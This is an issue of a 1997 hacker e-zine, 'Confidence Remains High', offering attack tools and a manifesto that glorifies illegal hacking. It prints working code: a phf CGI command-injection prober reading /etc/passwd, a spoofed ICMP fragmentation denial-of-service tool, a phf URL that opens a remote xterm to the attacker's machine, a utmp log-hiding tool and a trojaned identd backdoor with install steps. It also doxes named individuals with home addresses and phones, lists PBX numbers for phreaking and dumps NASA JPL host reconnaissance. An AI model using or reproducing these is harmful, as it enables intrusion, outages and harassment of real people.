컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� .oO The CodeZero Oo. .oO Presents Oo. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Welcome to issue 4 of.. /IIIIIIIIII /IIIIIIIIII /III /III \ III_____/ \ III___/III \ III \ III \ III \ III \ III \ III \_III \ III onfidence \ IIIIIIII emains \ IIIIIIIIII igh \ III \ III__/III \ III__/ III \ III \ III \ III \ III \ III \ IIIIIIIIII ___ \ III \ III ___ \ III \ III ___ \_________/ /\__\ \__/ \__/ /\__\ \__/ \__/ /\__\ \/__/ \/__/ \/__/ ...3rd September 1997 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Team CodeZero, we rule your weak network. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� .-----------[ An Official ]-----------. : .-----. .----. .--.--. : : : .--' : .-. : : : : : !_-:: : : : `-' ; : . : ::-_! :~-:: :: : :: . : :: : ::-~: : ::.`--. ::.: : ::.: : : : `-----' `--'--' `--'--' : !_-:: ::-_! :~-::-[ Confidence Remains High ]-::-~: :~-:: ::-~: `-----------[ Production ]------------' 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� In This "Added Exploits" Issue : 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� -----=> Section A : Introduction And Cover Story. 1. Confidence Remains High issue 4....................: Tetsu Khan 2. The Hackers vs. The System.........................: so1o -----=> Section B : Exploits And Code. 1. Generic scanner....................................: ultima 2. VITO...............................................: Et Lownoise 3. Jolt.c.............................................: VallaH 4. Phf shell spawning tekneek.........................: xFli 5. Hide.c.............................................: unknown 6. Tridentd.c.........................................: BiT -----=> Section C : Phones / Scanning / Radio. 1. Norweigen PABX list................................: RipperJack -----=> Section D : Miscellaneous. 1. Windows trick......................................: so1o 2. sIn inf0z..........................................: so1o 3. DCC trick..........................................: so1o 4. Mars systems @*.jpl.nasa.gov.......................: so1o 5. The issues list....................................: so1o 6. Damned warez pups..................................: so1o 7. Simple NFS techniques..............................: Synner 8. #hebrew............................................: so1o 9. Lord Somer.........................................: so1o -----=> Section E : World News. 1. c0de...............................................: so1o 2. Beyond HOPE........................................: Some dude @wired.com 3. UKCON..............................................: phuk people 4. www.sinnerz.com gets 0wned.........................: so1o ------=> Section F : Projects. 1. soltool for Solaris 2.5.x [sunOS 5.5.x] is here!@~.: so1o 2. TOTAL CON..........................................: so1o -----=> Section G : The End. (+ Personal Column) 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ INTRO ]====================[ .SECTION A. ]======================[ INTRO ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. Confidence Remains High issue 4 : Tetsu Khan 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Here we are again, not really alot happening lately, just threw this together and got it out to our public, and here it is, CRH issue 4!@# The Confidence Remains High distro site list : ---------------------------------------------- http://www.rootshell.com [at the bottom] http://insecurity.insecurity.org/codez/ http://www.r0ot.org http://www.exceed.net ftp://ftp.sekurity.org/users/so1o/ ...And alot of other sites, just go looking around. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. The Hackers vs. The System : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� The Government built the ARPAnet, for military use during the "Cold War", then the hackers built their own network, based on protocols developed by others, this later became the Internet, accessible by the public, now the Military and Government systems have "migrated" onto our network. The hackers want freedom to learn and explore their network, the public want peace of mind and security, the companies want to become more efficient, and commercialise the Internet and the Governments want laws to bring order to the Internet, because they are scared of what OUR network might become, but the Internet wasn't built by the Governments, they have a right to use our network, but no right to try and change our rules, it is a futile move on their part. Real wars are based on the use of power in weapons, nuclear bombs, submarines, and the like, this all costs alot of money to develop such capabilities. Now, in the "information age", you don't need guns or bombs to cripple a country or a company, because they are so dependant on the internet, which the hackers built, if the hackers built it, they can just as easily take it down using a computer, a modem, and a few skills, which costs ALOT less then guns and bombs, but can be equally, if not more powerful as dependance by companies, the public, and the Government on OUR Internet increases. Companies want to become more efficient, it may take days to send letters overseas, not forgetting the cost, but seconds by e-mail, next the put reports and blueprints and the like on supposedly secure systems, which their employees should only be able to access. Hackers are the only successful Governors of the Internet, the Governments can try to introduce laws, but they can, and will never be able to enforce those laws over the Internet, it was built by hackers, and we say that it should be a medium through which anyone with an open mind can learn or teach, its all information, 1's and 0's. This isn't a "real-world" problem, because Governments will never stop us, there will always be tens of thousands to follow us, there are no boundaries on our network, thats the way it will always be. It's simple, hackers made the network, Governments have no right to call "hacking" over OUR Internet illegal, they have no rights to even try to tell us what to do, they know that, but the public, and companies *THINK* that the Governments can control what goes on over OUR Internet, and so they demand security and peace of mind, which the Governments try to provide, but no-one can Govern OUR Internet, except the creators, the hackers, if we wanted to destroy the internet, we would have done so a long time ago, we just don't like Governments taking futile measures like they have. Its not as if the Governments can do alot about this situation, hackers are only ghosts, we go by handles, codenames, no "real-life" details are let out, you can never catch us all, we are the ultimate invisible army. At the most, all the Governments can do is make laws and attempt to enforce them, turning the Internet into a nicer place in some respecs, but hackers will just hit back *slightly* harder by taking all Government sites off of the internet, and to make the network our own again. At the end of the day, if you want law and order now, and a nicer place to live, then disconnect your modem, and live in the real world, because you don't belong on our network. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ EXPLOITS ]=================[ .SECTION B. ]===================[ EXPLOITS ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. Generic Scanner : Ultima 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /* Quick and simple generic scanner to take input from a list of hosts */ /* (c) 1997 Ultima, the CodeZero Ninja Task Force. */ /* Usage: ./scanner (good for port 143 scanning) */ #include #include #include #include #include #include #define OPEN 1 #define CLOSED 2 #define ERR_SOCK 3 #define ERR_NOHOST 4 int port; int check_port(char *host) { struct sockaddr_in sin; struct hostent *he; int i, fd; if((fd = socket(AF_INET, SOCK_STREAM, 0))<0) { perror("socket"); return(ERR_SOCK); } if((he = gethostbyname(host))==NULL) { herror("gethostbyname"); return(ERR_NOHOST); } sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr = *((struct in_addr*)he->h_addr); if((connect(fd, (struct sockaddr *)&sin, sizeof(sin)))<0) { perror("connect"); return(CLOSED); } else { close(fd); return(OPEN); } } int main(int argc, char **argv) { FILE *in, *out; char *buf; buf = (char *)malloc(256); if(argc < 4) { fprintf(stderr, "usage: %s \r\n", argv[0]); exit(1); } port = atoi(argv[1]); if((in = fopen(argv[2], "r"))==NULL) { perror(argv[2]); exit(1); } if((out = fopen(argv[3], "a"))==NULL) { perror(argv[3]); exit(1); } while((fgets(buf, 255, in)) == buf) { if(buf[0] != ' ' && buf[0] != '\n') { buf[strlen(buf)-1] = '\0'; printf("Checking %s...", buf); switch(check_port(buf)) { case OPEN: fprintf(out, "%s : Port %i Open\r\n", buf, port); printf("Open\r\n"); break; case CLOSED: fprintf(out, "%s : Port %i Closed\r\n", buf, port); printf("Closed\r\n"); break; case ERR_SOCK: fprintf(out, "%s: Socket Error\r\n", buf); printf("Socket Error\r\n"); break; case ERR_NOHOST: fprintf(out, "%s: No Such Host\r\n", buf); printf("No Such Host\r\n"); break; default: fprintf(out, "%s: Unknown Error\r\n", buf); printf("Unknown Error\r\n"); break; } } } } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. VITO : ET Lownoise 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /* V.I.T.O Vicious Internet TOol by ET Lownoise Colombia 1997. Copyshit (:Q~) ET 1997. Test (T.E.S.T!!!) a web server for interesting MUST NOT HAVE cgi's. note that this program sucks too. 2 Files: -Vito.c -Vito.ini <---- you can edit this one....so u can upgrade this program. Just follow the sintax. etorres@cyberservices.com Why is necesary a disclaimer when nobody reads it?. Compile for dummies =================== cc -o vito vito.c Execute for dummies =================== vito */ #include #include #include #include #include #include #define TAMANO 1024 int sock; struct sockaddr_in sock_dest; char host_dest[100]; main(int argc,char *argv[]) { FILE *ini; /*check for vito.ini*/ int a, b, c, d, x; struct hostent *pastelito; char buffer[TAMANO], bufrec[TAMANO], buftmp[TAMANO], encabezado[50]; if (argc < 2) { fprintf(stdout,"V.I.T.O by ET Lownoise 97\n"); fprintf(stdout,"Usage: %s [> file]\n",argv[0]); fprintf(stdout,"Note: I know this program sucks.. it\n"); fprintf(stdout," just make things easy.\n"); exit(0); } if((ini=fopen("vito.ini","r"))==NULL){ fprintf(stdout,"%s needs his ini file: vito.ini\n",argv[0]); exit(0); } if (sscanf(argv[1],"%d.%d.%d.%d",&a,&b,&c,&d) != 4) { pastelito = gethostbyname(argv[1]); if (pastelito == NULL) { fprintf(stdout,"Ahhhhhhh! cannot resolve host %s\n",argv[1]); exit(0); } sprintf(host_dest,"%d.%d.%d.%d",(unsigned char ) pastelito->h_addr_list[0][0], (unsigned char ) pastelito->h_addr_list[0][1], (unsigned char ) pastelito->h_addr_list[0][2], (unsigned char ) pastelito->h_addr_list[0][3]); } else { strncpy(host_dest,argv[1],99); } fprintf(stdout,"V.I.T.O.\n"); fprintf(stdout,"Attac...Testing host: %s ",host_dest); /*ET*/ sock_dest.sin_family = AF_INET; sock_dest.sin_port = htons(80); /* www port */ sock_dest.sin_addr.s_addr = inet_addr(host_dest); while(fgets(buffer,TAMANO,ini)!=NULL){ /*Buffer line size*/ if(buffer[0]=='['){ /* Buffer division*/ strcpy(buftmp,buffer); strcpy(buffer,strchr(buftmp,'G')); strncpy(encabezado,buftmp,strlen(buftmp)-strlen(buffer)+1); encabezado[strlen(buftmp)-strlen(buffer)]='\0'; sock = socket(AF_INET,SOCK_STREAM,0); if(sock < 0) { fprintf(stdout,"ERROR: socket() failed\n"); exit(0); } x = connect(sock,(struct sockaddr *) &sock_dest,sizeof(sock_dest)); if(x < 0){ fprintf(stdout,"Upps.. can't connect to port 80\n"); } fprintf(stdout, "\n|-------------------------------------------------------------|\n"); fprintf(stdout," CGI: %s\n",encabezado); fprintf(stdout," Sending.\n"); fprintf(stdout," %s",buffer); fprintf(stdout,"|-------------------------------------------------------------|\n"); send(sock,buffer,TAMANO*sizeof(char),0); bzero(buffer,TAMANO); fprintf(stdout," Receiving.\n\n"); while((x=recv(sock,bufrec,TAMANO*sizeof(char),0))!=0){ fprintf(stdout,"%s",bufrec); bzero(bufrec,TAMANO); } close(sock); } } fclose(ini); fprintf(stdout, "\n|=============================================================|\n"); fprintf(stdout,"Vito End. ET Lownoise 1997\n"); } ---vito.ini------------------------------------------------------------------- ############################################################## # V.I.T.O Et Lownoise 1997 Ini File. ver.1.0 # ############################################################## # Please be carefull when u edit this file because some times # the text editor u use break the lines. # If u create a new line please use the GET in uppercase and # if u whant to comment any line use #. # # Note: The space used in the IRIX line is a TAB no a space. # and u cannot use %xx to replace them. # Note: Modify the email address in the aglimpse line. # # etorres@cyberservices.com # ############################################################## # format: # # [comment] GET exploit_line_here # ############################################################## [phf passwd] GET /cgi-bin/phf?Qalias=hell%0acat%20/etc/passwd%0a [phf uname] GET /cgi-bin/phf?Qalias=hell%0auname%20-a%0a [finger] GET /cgi-bin/finger?%0a [test-cgi cgis] GET /cgi-bin/test-cgi?/* [test-cgi dirs] GET /cgi-bin/test-cgi?/* [php/fi] GET /cgi-bin/php.cgi?/etc/passwd #[Access control on W3C httpd server] GET //secret/index.html #[IRIX handler ] GET /cgi-bin/handler/useless_shit;cat/etc/passwd|?data=Download [mglimpse] GET /cgi-bin/aglimpse/80|cat #include #include #include #include #include #include #include #include #include int main(int argc, char **argv) { int s,i; char buf[400]; struct ip *ip = (struct ip *)buf; struct icmphdr *icmp = (struct icmphdr *)(ip + 1); struct hostent *hp, *hp2; struct sockaddr_in dst; int offset; int on = 1; int num = 5; bzero(buf, sizeof buf); if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW )) < 0) { perror("socket"); exit(1); } if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { perror("IP_HDRINCL"); exit(1); } if (argc < 3) { printf("Jolt v1.0 Yet ANOTHER windows95(And macOS!) glitch by VallaH (yaway@hotmail.com)\n"); printf("\nusage: %s [number]\n",argv[0]); printf("\tdstaddr is the host your attacking\n"); printf("\tsaddr is the host your spoofing from\n"); printf("\tNumber is the number of packets to send, 5 is the default\n"); printf("\nNOTE: This is based on a bug that used to affect POSIX complient, and SYSV \n\t systems so its nothing new..\n"); printf("\nGreets to Bill Gates! How do ya like this one? :-)\n"); exit(1); } if (argc == 4) num = atoi(argv[3]); for (i=1;i<=num;i++) { if ((hp = gethostbyname(argv[1])) == NULL) { if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) { fprintf(stderr, "%s: unknown host\n", argv[1]); exit(1); } } else { bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length); } if ((hp2 = gethostbyname(argv[2])) == NULL) { if ((ip->ip_src.s_addr = inet_addr(argv[2])) == -1) { fprintf(stderr, "%s: unknown host\n", argv[2]); exit(1); } } else { bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length); } printf("Sending to %s\n", inet_ntoa(ip->ip_dst)); ip->ip_v = 4; ip->ip_hl = sizeof *ip >> 2; ip->ip_tos = 0; ip->ip_len = htons(sizeof buf); ip->ip_id = htons(4321); ip->ip_off = htons(0); ip->ip_ttl = 255; ip->ip_p = 1; ip->ip_csum = 0; /* kernel fills in */ dst.sin_addr = ip->ip_dst; dst.sin_family = AF_INET; icmp->type = ICMP_ECHO; icmp->code = 0; icmp->checksum = htons(~(ICMP_ECHO << 8)); for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) { ip->ip_off = htons(offset >> 3); if (offset < 65120) ip->ip_off |= htons(0x2000); else ip->ip_len = htons(418); /* make total 65538 */ if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst, sizeof dst) < 0) { fprintf(stderr, "offset %d: ", offset); perror("sendto"); } if (offset == 0) { icmp->type = 0; icmp->code = 0; icmp->checksum = 0; } } } return 0; } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 4. Phf shell spawning tekneek : xFli 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� http://www.blah.com/cgi-bin/phf?Qalias=x%0a/usr/openwin/xterm%20-display%20your.addy.com Which incase you cant work it out will open an xterm on your Xwindows capable box, in effect giving you shell access as the uid the http daemon is running as (usually 'nobody') NOTE: the vulnerable system must also have the Xwindows system installed. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 5. Hide.c : unknown 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /* hide.c , it does what it says on the can */ #include #include #include #include #define UTMPFILE "/etc/utmp" FILE *utmpfile; char *utmp_tmp[10240]; main (argc, argv) int argc; char *argv[]; { struct utmp *user_slot; struct passwd *pwd; char line[10], name[10], host[20]; int index; printf ("Welcome to HIDE ! FORMAT: hide [-i]\n\n"); utmpfile = fopen (UTMPFILE, "r+"); if (utmpfile == NULL) { printf ("ERROR while opening utmp file... exiting...\n"); exit (); } index = ttyslot(); /* Get this users utmp index */ index *= sizeof(struct utmp); /* 36 */ fseek(utmpfile, index, 0); /**** Get real UID ****/ pwd = getpwuid (getuid()); if (pwd == NULL) printf ("Who the hell are you???"); else { printf ("Real user identity:\n"); printf ("NAME %s\n", pwd->pw_name); printf (" UID %d\n", pwd->pw_uid); printf (" GID %d\n\n", pwd->pw_gid); } /**** If ARG1 = "-i" then disappear from utmp ****/ if ( (argc>1) && (!strcmp(argv[1], "-i")) ) { index+=8; /* Rel PNT name */ fseek(utmpfile, index, 0); fwrite ("\000", 8, 1, utmpfile); /* NO NAME */ fwrite ("\000", 8, 1, utmpfile); /* NO HOST */ fclose(utmpfile); printf ("Removed from utmp\n"); exit(); } /**** Change utmp data ****/ printf ("Enter new data or return for default:\n"); fseek(utmpfile, index, 0); /* Reset file PNT */ fread(line, 8, 1, utmpfile); line[8]=NULL; fread(name, 8, 1, utmpfile); name[8]=NULL; fread(host, 16, 1, utmpfile); host[16]=NULL; fseek(utmpfile, index, 0); /* Reset file PNT */ dinput (" TTY [%s]%s", line, 8); dinput ("NAME [%s]%s", name, 8); dinput ("HOST [%s]%s", host, 16); fclose(utmpfile); } /* Data input */ dinput (prompt, string, size) char *prompt; char *string; int size; { char input[80]; char *stat; char space[] = " "; space[20-strlen(string)] = '\000'; printf (prompt, string, space); stat = gets (input); if (strlen(input) > 0) fwrite (input, size, 1, utmpfile); else fseek (utmpfile, size, 1); } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 6. Tridentd.c : BiT 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /* This is just a simple hack to identd's code so that identd will allow * you to connect to its port and send a special command to make identd * spawn off a shell. * * When connected to the identd port of the machine running the trojaned * identd enter the command: * * "SS ####### ##" * * where ####### is your defined MKEY and ## is your defined SKEY * * NOTE: You must have root on the system you wish to install this backdoor * on. And the binary must be owned by root and in the wheel or root groups. * * To compile/install: * * gcc -Wall -O3 -w -O identd.c -o in.identd * strip in.identd * mv in.identd /usr/sbin/in.identd * chown root.root /usr/sbin/in.identd * chmod 770 /usr/sbin/in.identd * * Then edit /etc/services and /etc/inetd.conf so that it spawns the * correct daemon. */ #include #include #include #include #include #include #include #include #define MKEY 3849572 #define SKEY 72 int writeranduser(void) { int r; char username[12]; srandom(getpid()); memset(username, 0, 12); r = random() % 26; r = r + 'a'; memset(username, r, 11); if(write(1, username, strlen(username)) < strlen(username)) exit(0); return 1; } int main(int argc, char **argv) { char genrandomuser = 1; char *portpair = NULL; fd_set rset; struct timeval tv; int i; if(argc > 1) genrandomuser = 0; portpair = malloc(1024); if(!portpair) exit(0); memset(portpair, 0, 1024); tv.tv_sec = 180; tv.tv_usec = 0; FD_ZERO(&rset); FD_SET(0, &rset); i = select(1, &rset, NULL, NULL, &tv); if(i < 1) exit(0); if(read(0, portpair, 512) < 1) exit(0); while(*portpair) { if(isdigit(*portpair)) if(write(1, portpair, 1) < 0) exit(0); else; else if(*portpair == ',') if(write(1, portpair, 1) < 0) exit(0); else; portpair++; } if(write(1, " : USERID : UNIX : ", 19) < 19) exit(0); if(!genrandomuser) if(write(1, argv[1], strlen(argv[1])) < strlen(argv[1])) exit(0); else; else writeranduser(); if(write(1, "\r\n", 2) < 2) exit(0); return 1; } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ FONES / SCANNING ]=========[ .SECTION C. ]===========[ FONES / SCANNING ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. Norweigen PABX list : RipperJack 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Alrek Studenthjem - 55291802 Arbeidskontoret i Arna - 55243890 Arbeidskontoret i Fyllingsdalen - 55168910 Arbeidskontoret p� Nesttun - 55135330 Arbeidskontoret p� Os썌ro - 56304695 Bergen Airport Hotel - 55229236 Bergen Tekniske Fagskole - 55232582 Betanien Hospitalet - 55166979 - fax! Datainstrument A/S - 55314390 - etter stengetid?? Den Norske Bank - 56302071 Inter Revisjon Bergen - 55295201 Jebsens Management A/S - 55310606 Knappentunet - 55124299 Norsk Blikkvalseverk A/S - 55341260 Olaviken Behandlingssenter - 56149798 Os Likningskontor og Folkeregister - 56301299 *Statens Dykkerskole - 55268904 Statens H쌹skole for kunsth냣dverk og design - 55311943 Steen-Hansen F Malings- og Lakkfabrikk A/S - 55100040 Stolz R썇hing AS - 55345560 Vestlandet Kompetansesenter - 55296485 Bj썄keteigen - 56555710 Norheimsund Yrkesskule - 56551530 Toloheimen - 56552030 Arbeidskontoret i Knarvik - 56352330 Odda Plast AS - 53644480 Solid Vedlikehold AS - 56334275 To find out just how much it costs you to call these pbxs, dial 80031031 for Telenor's price information service. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ MISC ]=====================[ .SECTION D. ]=======================[ MISC ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. Windows trick : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� An elite w1nd0ze trick for w1nd0ze 3.1 icon 0wnersh1p... The Windows 3.1 trick. ====================== I found this out myself at work the other day, I was trying to fuck with the File -> Run in program manager, so I was giving it like random acsii's in the command line and shit, then I decided to throw a load of spaces at it, and I found this fucked with the icons and refresh on the display, so here's the technique to make all the icons dissapear! 1) Get into Program Manager, then go File -> Run. 2) In the program name box, just put ALOT of spaces, leave your finger on the space bar until the box is full, now delete the last 4 or 5 of your spaces and put a full stop in, then fill the rest of the box up with spaces. 3) Now try run the " . " program by clicking on the OK button. 4) It will give an error box with a character like "`" in it, this shows it has worked, because usually it gives like "cannot run blah blah blah..." 5) Now click on the OK in the error box to get rid of it. 6) Now open any program group, and maximise it, all the icons will dissapear, next minimise and maximise another group, and so on, until all the icons have dissapeared in all the groups. Thats it, the only way to turn your w1nd0ze system back to normal is to exit :P 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. sIn inf0z : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Fucking sIn b1tchez bow to the elite. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Alias : Evil Chick Real Name : Suzette Kimminau Address : 130 105th Ave. S.E. Apt. 218 Bellevue, Wa 98004 USA Telephone : (206)454-7176 E-mail : evilchic@NWLINK.COM ------------------------------------------------------------------------------- Alias : \\StOrM\\ Real Name : Jason Sloderbeck Address : 5739 N Norton, Kansas City, MO 64119 USA Telephone : (816)453-8722 E-mail : storm@SINNERZ.COM ------------------------------------------------------------------------------- Alias : JDKane Real Name : Kim Address : 327 E Park Road, Round Lake, IL 60073 USA Telephone : (847)546-9154 E-mail : ------------------------------------------------------------------------------- Alias : Soul Tear Real Name : Wesley Stroeber Address : 10770 E. Silver Vein Dr. Tucson, Arizona 85710 USA Telephone : E-mail : soultear@mindspring.com ------------------------------------------------------------------------------- Alias : Scud-O Real Name : Kevin Shivers Address : PO Box 448 Sykesville, Maryland 21784 USA Telephone : (410)442-2410 E-mail : foxmulder@WORLDNET.ATT.NET * Scud-O is leaving sIn. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� You want to know how lame sIn really are? check www.sinnerz.com The Hax0r brothers don't 0wn a car between them. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 3. DCC trick : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� d1s in #hackers showed us this the other day, its quite simple, and probably old, all you have to do is link a file, like warez.tgz to zero, then DCC it to someone thats 1) away, or 2) very stupid, it will then keep sending them shit until they 1) stop it, or 2) have no more disk space :) 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 4. Mars systems @*.jpl.nasa.gov : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Fear mad dnscan skills, even shows OS... wE c4N dR1VE tH3 r0VER!@#~ jpl.nasa.gov mars-elvis A 137.78.16.108 jpl.nasa.gov mars-elvis HINFO PowerMac7100-80 System7.5.3 jpl.nasa.gov mars-lanrover A 137.78.78.131 jpl.nasa.gov mars-lanrover HINFO ShivaLanRover-E ShivaProprietary jpl.nasa.gov mars-lanrover-1 A 137.78.78.132 jpl.nasa.gov mars-lanrover-1 HINFO ShivaLanRover-E ShivaProprietary jpl.nasa.gov mars-lanrover-2 A 137.78.78.133 jpl.nasa.gov mars-lanrover-2 HINFO ShivaLanRover-E ShivaProprietary jpl.nasa.gov mars-lanrover-3 A 137.78.78.134 jpl.nasa.gov mars-lanrover-3 HINFO ShivaLanRover-E ShivaProprietary jpl.nasa.gov mars-lanrover-4 A 137.78.78.135 jpl.nasa.gov mars-lanrover-4 HINFO ShivaLanRover-E ShivaProprietary jpl.nasa.gov mars-test-1 A 137.78.78.191 jpl.nasa.gov mars-test-1 HINFO PCMAC Various jpl.nasa.gov mars-test-2 A 137.78.78.192 jpl.nasa.gov mars-test-2 HINFO PCMAC Various jpl.nasa.gov mars-test-3 A 137.78.78.193 jpl.nasa.gov mars-test-3 HINFO PCMAC Various jpl.nasa.gov mars-test-4 A 137.78.78.194 jpl.nasa.gov mars-test-4 HINFO PCMAC Various jpl.nasa.gov mars-test-5 A 137.78.78.195 jpl.nasa.gov mars-test-5 HINFO PCMAC Various jpl.nasa.gov mars-test-6 A 137.78.78.196 jpl.nasa.gov mars-test-6 HINFO PCMAC Various jpl.nasa.gov mars-test-7 A 137.78.78.197 jpl.nasa.gov mars-test-7 HINFO PCMAC Various jpl.nasa.gov mars-test-8 A 137.78.78.198 jpl.nasa.gov mars-test-8 HINFO PCMAC Various jpl.nasa.gov mars-test-9 A 137.78.78.199 jpl.nasa.gov mars-test-9 HINFO PCMAC Various jpl.nasa.gov mars98ftp A 137.78.82.27 jpl.nasa.gov mars98ftp HINFO MacII system7 jpl.nasa.gov marsala A 137.78.24.26 jpl.nasa.gov marsala HINFO PC Windows95 jpl.nasa.gov marseyes A 137.78.54.45 jpl.nasa.gov marseyes HINFO PCLaptop window95 jpl.nasa.gov marsglow A 137.78.144.167 jpl.nasa.gov marsglow HINFO HP1600CM PCL jpl.nasa.gov marsmir A 137.78.6.221 jpl.nasa.gov marsmir HINFO SPARC2 Solaris2.5 jpl.nasa.gov marsnight A 137.78.144.165 jpl.nasa.gov marsnight HINFO HP4M PCL jpl.nasa.gov marsnt1 A 137.78.78.31 jpl.nasa.gov marsnt1 HINFO CompaqProliant NT4.0Server jpl.nasa.gov marsnt2 A 137.78.78.32 jpl.nasa.gov marsnt2 HINFO CompaqProliant NT4.0Server jpl.nasa.gov marsnt3 A 137.78.78.106 jpl.nasa.gov marsnt3 HINFO CompaqPC NTServer3.5.1 jpl.nasa.gov marsnt3-alias1 A 137.78.78.107 jpl.nasa.gov marsnt3-alias1 HINFO CompaqProliant NTServer3.51 jpl.nasa.gov marssup-premia A 137.78.78.60 jpl.nasa.gov marssup-premia HINFO ASTPREMIALX WIN95 jpl.nasa.gov marsweb1 A 137.78.78.120 jpl.nasa.gov marsweb1 HINFO SunUltra170 Solaris jpl.nasa.gov marsweb2 A 137.78.78.121 jpl.nasa.gov marsweb2 HINFO ClonePC WinNT4.0 jpl.nasa.gov marsweb3 A 137.78.78.122 jpl.nasa.gov marsweb3 HINFO MicronPPro200 NT4.0Server 